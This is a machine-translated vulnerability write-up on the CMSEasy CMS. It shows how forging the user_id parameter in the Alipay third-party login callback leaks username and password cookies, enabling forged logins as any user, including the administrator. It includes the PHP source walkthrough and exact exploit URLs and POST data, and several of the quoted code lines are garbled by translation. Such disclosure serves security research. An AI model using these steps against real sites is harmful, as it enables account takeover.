Cmseasy full-site user cookie enumeration counterfeit Login

Cmseasy full-site user cookie enumeration counterfeit Login

This problem is tricky because of the openid.

 
We have analyzed a case before:

Cmseasy logical defects can be upgraded common users as administrators (shell will be difficult): http://www.bkjia.com/Article/201412/364307.html
I will not go into details here. How can I modify this openid?



Url:

Http: // localhost: 8080/cmseasy/uploads/index. php? Case = user & act = respond & ologin_code = alipaylogin & user_id = 2 & real_name = test & token = xxxx



In this case, the openid in the session is already 2.



Let's print:



User_act.php:

include_once ROOT.'/lib/plugins/ologin/'.$classname.'.php';        $ologinobj = new $classname();        $status = $ologinobj->respond();                $where[$classname] = session::get('openid');        if(!$where[$classname]) front::redirect(url::create('user'));        $user = new user();        $data = $user->getrow($where);        var_dump(session::get('openid'));exit;

:
 

At this time, the session is indeed set.



Analyze the logic of the Code:
 

include_once ROOT.'/lib/plugins/ologin/'.$classname.'.php';        $ologinobj = new $classname();        $status = $ologinobj->respond();                $where[$classname] = session::get('openid');        if(!$where[$classname]) front::redirect(url::create('user'));        $user = new user();        $data = $user->getrow($where);        //var_dump(session::get('openid'));exit;        if(!$data){            $this->view->data = $status;        }else{            cookie::set('login_username',$data['username']);            cookie::set('login_password',front::cookie_encode($data['password']));            session::set('username',$data['username']);            front::redirect(url::create('user'));        }

If the classname is alipaylogin, perform an SQL query.



15: 40 SELECT * FROM 'cmseasy _ user' WHERE 'alipaylogin' = '2' order by 1 desc limit 1



The alipaylogin result here is unique.



Then, the user name and password are exposed to the cookie. Then, we can obtain the cookie to forge the login.





Now let's look at the data structure.
 

It is found that the user's unique third-party login flag id is not recorded here





We boldly assume that if a user uses a third-party login or third-party registration, will the alipaylogin value be generated and will never be changed?



The code is pushed up. First, check the registration location:

If (front: post ('username') & front: post ('Password') {$ username = front: post ('username '); $ username = str_replace ('\', '', $ username); $ password = md5 (front: post ('Password ')); $ data = array ('username' => $ username, 'Password' => $ password, 'groupid' => 101, 'userip' => front: ip (), $ classname => session: get ('openid'),); if ($ this-> _ user-> getrow (array ('username' => $ username ))) {front: flash (lang ('the user name has been registered! '); Return ;}

This location is found. When you use a third-party registration, the value of alipaylogin or qqlogin is generated here.



And after our troubleshooting, this value will never change. With the user registration, it will be bound



We are looking at third-party Login here:

if (front::post('submit')) {            if (front::post('username') && front::post('password')) {                $username = front::post('username');                $password = md5(front::post('password'));                $data = array(                    'username' => $username,                    'password' => $password,                );                $user = new user();                $row = $user->getrow(array('username' => $data['username'], 'password' => $data['password']));                if (!is_array($row)) {                    $this->login_false();                    return;                }                $post[$classname] = session::get('openid');

We found that the formal user just registered and then entered the username and password to log on.



We have made it clear that if a user registers with a third party, we can obtain the cookie of the user name and password.





We are checking whether the cookie required for normal user login is the same as the cookie structure we just obtained through a third party.


 

Function login_action () {if (! $ This-> loginfalsemaxtimes () if (front: post ('submit ') {if (config: get ('verifycode') {if (! Session: get ('verify ') | front: post ('verify') <> session: get ('verify ') {front :: flash (lang ('verification code error! '). "<A href =''> ". lang ('background '). "</a>"); return ;}} if (front: post ('username') & front: post ('Password ')) {$ username = front: post ('username'); $ password = md5 (front: post ('Password ')); $ data = array ('username' => $ username, 'Password' => $ password,); $ user = new user (); $ user = $ user-> getrow (array ('username' => $ data ['username'], 'Password' => $ data ['Password']); if (! Is_array ($ user) {$ this-> login_false (); return ;}$ user = $ data; cookie: set ('login _ username ', $ user ['username']); cookie: set ('login _ password', front: cookie_encode ($ user ['Password']);

The cookie is exactly the same as the cookie to be constructed by a third party.







LowerIf the entries for all permissions only check the name and passwd in the cookie, our analysis will be correct:

 

function init() {        $user='';        if(cookie::get('login_username') &&cookie::get('login_password')) {            $user=new user();            $user=$user->getrow(array('username'=>cookie::get('login_username')));            if(cookie::get('login_password')!=front::cookie_encode($user['password'])){            unset($user);            }        }

The content in user_act is consistent with what we just analyzed. We will not look at the rest. Let's take a look at the Administrator:





Here, the Administrator compares bugs. After the site is installed, the Administrator's example is that alipaylogin is empty.



So we can directly view the Administrator cookie by setting the openid to null.



Analysis till now



Let's perform the following operations:



A third party registers a user:



Url:

Http: // localhost: 8080/cmseasy/uploads/index. php? Case = user & act = respond & ologin_code = alipaylogin



Postdata:

Regsubmit = xxx & username = test2 & password = 111111





How can we obtain the cookie of test2 user and forge the login:


 

Print the related data:
 

$where[$classname] = session::get('openid');        if(!$where[$classname]) front::redirect(url::create('user'));        $user = new user();        $data = $user->getrow($where);        var_dump($data);        if(!$data){            $this->view->data = $status;        }else{            cookie::set('login_username',$data['username']);            cookie::set('login_password',front::cookie_encode($data['password']));            session::set('username',$data['username']);            var_dump($_SESSION);            var_dump($_COOKIE);            exit;            front::redirect(url::create('user'));        }

Access url:

Http: // localhost: 8080/cmseasy/uploads/index. php? Case = user & act = respond & ologin_code = alipaylogin & user_id = 1 & real_name = test & token = xxxx





I did not log on. I got this cookie:
 

Note: Because of alipaylogin. php, context view does not affect the transmission of user_id, and a third party is not set up locally.



We simulated it.

// Var_dump ($ alipaypolicy); $ verify_result = $ alipayaypolicy-> verifyReturn (); // var_dump ($ verify_result); if (true | $ verify_result) {// Verification Successful $ user_id = front :$ get ['user _ id']; $ token = front ::$ get ['Token']; session :: set ('Access _ token', $ token); session: set ("openid", $ user_id );

The third party's constant true here enters the set session. The previous vulnerability has already explained the cause.



Analysis till now